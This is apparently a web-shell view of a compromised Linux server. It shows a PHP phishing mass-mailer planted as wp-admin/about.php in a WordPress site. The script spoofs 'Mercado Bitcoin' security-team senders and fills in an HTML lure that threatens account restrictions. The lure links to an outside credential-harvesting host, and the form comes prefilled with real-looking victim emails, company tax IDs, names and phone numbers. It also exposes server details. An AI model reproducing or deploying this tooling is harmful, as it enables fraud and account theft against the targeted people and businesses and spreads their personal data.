HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/wp-admin/about.php
<?php
@ignore_user_abort(TRUE);
error_reporting(0);
@set_time_limit(0);

// Function to generate a random number
function random_num() {
    $n = '';
    for ($x = 0; $x < 4; $x++) {
        $n .= rand(1, 9);
    }
    return mt_rand(1, 2) . $n;
}

// Function to generate a random sender name
function random_sender_name() {
    $names = [
        'Equipe de Segurança Mercado Bitcoin', 'Suporte Mercado Bitcoin', 'Compliance Mercado Bitcoin',
        'Mercado Bitcoin Oficial', 'Atendimento Mercado Bitcoin', 'Departamento de Verificação'
    ];
    return $names[array_rand($names)] . ' ' . random_num();
}

// Function to get server hostname for reverse DNS
function get_server_email_domain() {
    $hostname = gethostname();
    if ($hostname) {
        // Attempt reverse DNS lookup
        $ip = $_SERVER['SERVER_ADDR'] ?? gethostbyname($hostname);
        $reverse = gethostbyaddr($ip);
        if ($reverse && filter_var($reverse, FILTER_VALIDATE_DOMAIN)) {
            return 'no-reply@' . $reverse;
        }
    }
    // Fallback domain if reverse DNS fails
    return 'no-reply@localhost';
}

// Function to get current date and time in Brazil (America/Sao_Paulo)
function get_brazil_datetime() {
    $timezone = new DateTimeZone('America/Sao_Paulo');
    $date = new DateTime('now', $timezone);
    return $date->format('d/m/Y H:i:s');
}

$testa = $_POST['veio'];
if ($testa != "") {
    $nome = random_sender_name(); // Use random sender name
    $to = $_POST['emails'];
    $de = !empty($_POST['de']) ? $_POST['de'] : get_server_email_domain();
    $de = str_replace("%random_num%", random_num(), $de);

    // Improved headers for better deliverability
    $headers = "From: $nome <$de>\r\n";
    $headers .= "Reply-To: $de\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: text/html; charset=utf-8\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
    $headers .= "Date: " . date('r') . "\r\n";
    $headers .= "Message-ID: <" . random_num() . "@" . parse_url($de, PHP_URL_HOST) . ">\r\n";
    $headers .= "X-Priority: 3\r\n";
    $headers .= "X-MSMail-Priority: Normal\r\n";

    // Process email list
    $lines = explode("\n", $to);
    $count = 1;
    $ok = "ok";

    foreach ($lines as $line) {
        $line = trim($line);
        if (empty($line)) {
            continue;
        }

        // Split line into parts
        list($current_email, $cnpj, $razao, $telefone, $socio) = array_pad(explode(';', $line), 5, null);

        $current_email = trim($current_email);
        $subject = $_POST['assunto'];
        $message = $_POST['html'];

        if (filter_var($current_email, FILTER_VALIDATE_EMAIL)) {
            // Replace placeholders, including datetime
            $replacements = [
                '{{cnpj}}' => trim($cnpj ?? ''),
                '{{razao}}' => trim($razao ?? ''),
                '{{telefone}}' => trim($telefone ?? ''),
                '{{socio}}' => trim($socio ?? ''),
                '%EMAIL%' => $current_email,
                '%random_num%' => random_num(),
                '{{datetime}}' => get_brazil_datetime()
            ];
            $message = str_replace(array_keys($replacements), array_values($replacements), $message);
            $subject = str_replace(array_keys($replacements), array_values($replacements), $subject);
            
            $message = stripslashes($message);

            // Send email with error handling
            try {
                if (mail($current_email, $subject, $message, $headers)) {
                    echo "* Numero: $count <b>$current_email</b> <font color=green>OK</font><br><hr>";
                } else {
                    echo "* Numero: $count <b>$current_email</b> <font color=red>ERRO AO ENVIAR</font><br><hr>";
                }
            } catch (Exception $e) {
                echo "* Numero: $count <b>$current_email</b> <font color=red>ERRO: " . $e->getMessage() . "</font><br><hr>";
            }
        } else {
            echo "* Numero: $count <b>$line</b> <font color=orange>EMAIL INVÁLIDO</font><br><hr>";
        }

        $count++;
    }

    if ($ok == "ok") {
        echo "";
    }
}
?>
<html>
<head>
<title>Envio de Email</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
body {
    margin: 0;
    font-family: Arial, Helvetica, sans-serif;
    background-color: #f2f2f2;
    color: #333;
}
.container {
    max-width: 600px;
    margin: 0 auto;
    padding: 20px;
    background-color: #fff;
    box-shadow: 0 4px 8px rgba(0,0,0,0.1);
    border-radius: 8px;
    margin-top: 30px;
}
header {
    background-color: #4CAF50;
    color: #fff;
    text-align: center;
    padding: 10px 0;
    border-radius: 8px 8px 0 0;
}
h1 {
    font-size: 24px;
    margin: 0;
}
form {
    margin-top: 20px;
}
label {
    display: block;
    margin-bottom: 8px;
    font-weight: bold;
}
input[type="text"],
textarea {
    width: calc(100% - 20px);
    padding: 10px;
    margin-bottom: 15px;
    border: 1px solid #ccc;
    border-radius: 4px;
    font-size: 14px;
}
textarea {
    resize: vertical;
}
input cuntype="submit"] {
    background-color: #4CAF50;
    color: #fff;
    padding: 10px 20px;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    font-size: 16px;
}
input[type="submit"]:hover {
    background-color: #45a049;
}
.alerta {
    color: #990000;
    font-size: 12px;
    margin-top: -10px;
}
.info {
    font-size: 12px;
    color: #555;
    margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
    <header>
        <h1>Envio de Emails</h1>
    </header>
    <form action="" method="post" enctype="multipart/form-data" name="form1">
      <input type="hidden" name="veio" value="sim">
      <label for="de">E-mail do Remetente (opcional):</label>
      <input name="de" type="text" id="de" placeholder="Deixe em branco para usar o domínio do servidor">

      <label for="assunto">Assunto:</label>
      <input name="assunto" type="text" id="assunto" value="=?UTF-8?Q?=E2=9C=85_?= Mercado Bitcoin - {{cnpj}}, Confirme Seus Dados de Contato, Evite Restrições ID %random_num% {{datetime}}">

      <label for="html">Código HTML:</label>
      <textarea name="html" id="html" rows="8"><!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8" />
    <meta content="width=device-width, initial-scale=1.0" name="viewport" />
    <title>Confirma&ccedil;&atilde;o de Contato - Mercado Bitcoin</title>
    <style type="text/css">
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            text-align: center;
            padding: 20px;
        }
        .container {
            background: white;
            max-width: 500px;
            margin: 0 auto;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .logo-text {
            font-family: Arial, Helvetica, sans-serif;
            font-size: 24px;
            font-weight: bold;
            color: #003087; /* Azul escuro do Mercado Bitcoin */
            background: linear-gradient(90deg, #003087, #0052cc); /* Gradiente azul inspirado no logo */
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            text-align: center;
            padding: 10px 0;
            letter-spacing: 2px;
            text-transform: uppercase;
            margin-bottom: 20px;
        }
        h2 {
            color: #333;
        }
        p {
            color: #666;
            font-size: 14px;
            line-height: 1.5;
        }
        .btn {
            display: inline-block;
            background-color: #003087;
            color: white;
            padding: 10px 20px;
            text-decoration: none;
            border-radius: 5px;
            font-size: 16px;
            margin-top: 20px;
        }
        .footer {
            font-size: 12px;
            color: #888;
            margin-top: 20px;
        }
        .unsubscribe {
            display: inline-block;
            color: #003087;
            text-decoration: underline;
            font-size: 12px;
            margin-top: 10px;
        }
        .warning {
            color: #cc092f;
            font-weight: bold;
            margin-top: 10px;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="logo-text">Mercado Bitcoin</div>
    <h2>Confirma&ccedil;&atilde;o de Contato com a Equipe de Seguran&ccedil;a</h2>

    <p>Prezado(a) cliente, {{cnpj}}</p>

    <p>Informamos que nossa equipe de seguran&ccedil;a identificou atividades em sua conta no Mercado Bitcoin associada ao e-mail %EMAIL% e CPF {{razao}} que requerem uma verifica&ccedil;&atilde;o de rotina. Como medida preventiva, os limites de sua conta ser&atilde;o ajustados a partir de {{datetime}}, e, caso n&atilde;o haja confirma&ccedil;&atilde;o, poder&atilde;o haver restri&ccedil;&otilde;es no acesso aos seus ativos, conforme as pol&iacute;ticas de compliance da plataforma.</p>

    <p>Para garantir a continua&ccedil;&atilde;o de suas opera&ccedil;&otilde;es e o acesso total aos seus ativos, &eacute; imprescind&iacute;vel que o respons&acute;vel financeiro desta conta confirme os dados e hor&aacute;rio para contato com nossa equipe o mais breve poss&iacute;vel. Pedimos que confirme os dados para contato e o hor&aacute;rio mais conveniente para que possamos realizar esta verifica&ccedil;&atilde;o de rotina e esclarecer a situa&ccedil;&atilde;o.</p>

    <p class="warning">Aten&ccedil;&atilde;o: A falta de resposta at&eacute; {{datetime}} poder&aacute; resultar na limita&ccedil;&atilde;o do acesso &agrave; sua conta.</p>

    <a class="btn" href="https://caspianlines.com/wp-content/mb/?cid=%EMAIL%">Confirmar Dados e Hor&aacute;rio</a>

    <p class="footer">Mercado Bitcoin | CNPJ: 18.213.451/0001-84<br />
    Avenida Brigadeiro Faria Lima, 4055, Itaim Bibi | S&atilde;o Paulo | SP | CEP: 04538-133<br />
    <a class="unsubscribe" href="https://caspianlines.com/wp-content/mb/unsubscribe?cid=%EMAIL%">N&atilde;o receber mais e-mails? Descadastre-se aqui</a></p>
</div>
</body>
</html>
</textarea>
      <span class="alerta">*Lembrete: texto em HTML</span>

      <label for="emails">Coloque o email de suas vítimas abaixo:</label>
      <textarea name="emails" id="emails" rows="8">carlosgonzales_moratin@outlook.com;76704550000153;CONDOMINIO EDIFICIO OREGON;(47) 33677777 / (47) 33671704;
ccrlos.breem@bol.com.br;18133035000164;PEDRALLI STACKE RESTAURANTE LTDA;(47) 84888103 / (47) 84061425;JOAO MIGUEL PEIXOTO DA SILVA STACKE
thomasmartinsconsultoria@gmail.com;15204344000190;AUTO POSTO BR A.G. LTDA;(47) 30813532;SAFIRA ZIMMERMANN</textarea>
      <span class="alerta">*Separado por quebra de linha</span>

      <input type="submit" name="Submit" value="Enviar">
    </form>
    <div class="info">
        Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
        Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
        Endereço IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
        Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
        Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?><br>
        Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?>
    </div>
</div>
</body>
</html>